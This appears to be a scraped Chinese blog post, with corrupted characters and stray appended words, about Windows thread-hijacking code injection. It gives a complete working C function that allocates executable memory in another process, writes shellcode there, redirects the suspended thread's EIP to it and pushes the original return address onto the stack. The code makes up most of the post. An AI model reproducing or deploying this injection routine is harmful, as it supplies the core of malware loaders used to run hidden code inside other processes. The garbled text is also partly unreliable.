http://www.javashuo.com/article/p-tmwkfzrb-nd.html 上次分享了基本的遠程注入方法,遺留了一個問題:shellcode執行完後怎麼回到線程supend以前的地址繼續執行原線程的代碼了?當時想的動態獲取context中eip的地址,再把push eip 轉成機器碼,最後放到shellcode的頭部。因爲shellcode是C3(ret)結尾了,天然會把棧頂的4字節彈出來賦值給EIP,達到回到原線程代碼繼續執行的目的。但實際操做時,地址每每會帶00,轉成字符串操做時會被截斷,致使返回地址錯誤,程序最終「跑飛」,不知道運行到哪去了。這種方式如今就卡這了:要想盡一切辦法把返回地址寫入棧頂!html
剛開始的思路是拿到目標進程的DirTableBae,賦值給當前CR3,達到進程切換的目的,而後經過sub esp,4; mov [esp], eip; 把eip寫道棧頂;但實際操做時,在3環暫時未發現獲取目標進程CR3的方法,這種思路暫時沒法落地;最後仍是靠着WriteProcessMemory把eip寫入棧頂。shellcode注入部分代碼更改以下:shell
其餘沒變,增長了兩行:ctx.Esp = ctx.Esp - 4; WriteProcessMemory(hProcess, (LPVOID)ctx.Esp, ¤tEIP, shellcodeSize, NULL);spa
BOOL InjectThread(HANDLE hProcess, HANDLE hThread, unsigned char buf[],int shellcodeSize) { LPVOID shellAddress = VirtualAllocEx(hProcess, NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); printf("shellcode address:%p\n", shellAddress); if (shellAddress == NULL) { printf("VirtualAlloc Error\n"); VirtualFreeEx(hProcess, shellAddress, 0, MEM_RELEASE ); ResumeThread(hThread); return FALSE; } WOW64_CONTEXT ctx = { 0 }; ctx.ContextFlags = CONTEXT_ALL; if (!Wow64GetThreadContext(hThread, &ctx)) { int a = GetLastError(); printf("GetThreadContext Error:%d\n", a); VirtualFreeEx(hProcess, shellAddress, 0, MEM_RELEASE); ResumeThread(hThread); return FALSE; } DWORD currentEIP = ctx.Eip; DWORD currentESP = ctx.Esp; if (WriteProcessMemory(hProcess, (LPVOID)shellAddress, buf, shellcodeSize, NULL) == 0) { VirtualFreeEx(hProcess, shellAddress, 0, MEM_RELEASE); printf("write shellcode error\n"); ResumeThread(hThread); return FALSE; } ctx.Eip = (DWORD)shellAddress;//讓eip指向shellcode ctx.Esp = ctx.Esp - 4;//分配4字節的空間,用來存放shellcode執行後的返回地址,也就是currentEIP,以下: printf("ctx.Esp:%p\n", ctx.Esp); printf("return address:%p\n", currentEIP); if (WriteProcessMemory(hProcess, (LPVOID)ctx.Esp, ¤tEIP, shellcodeSize, NULL) == 0) { VirtualFreeEx(hProcess, shellAddress, 0, MEM_RELEASE); printf("write shellcode error\n"); ResumeThread(hThread); return FALSE; } if (!Wow64SetThreadContext(hThread, &ctx)) { VirtualFreeEx(hProcess, shellAddress, 0, MEM_RELEASE); printf("set thread context error\n"); ResumeThread(hThread); return FALSE; } ResumeThread(hThread); return TRUE; }
效果以下:確實彈出了messageBox:線程
process hacker查看:shellcode成功寫入:code
返回地址也成功寫入:htm
最後:推薦一個歪果仁總結的進程注入方法,很是詳細,牆裂推薦:blog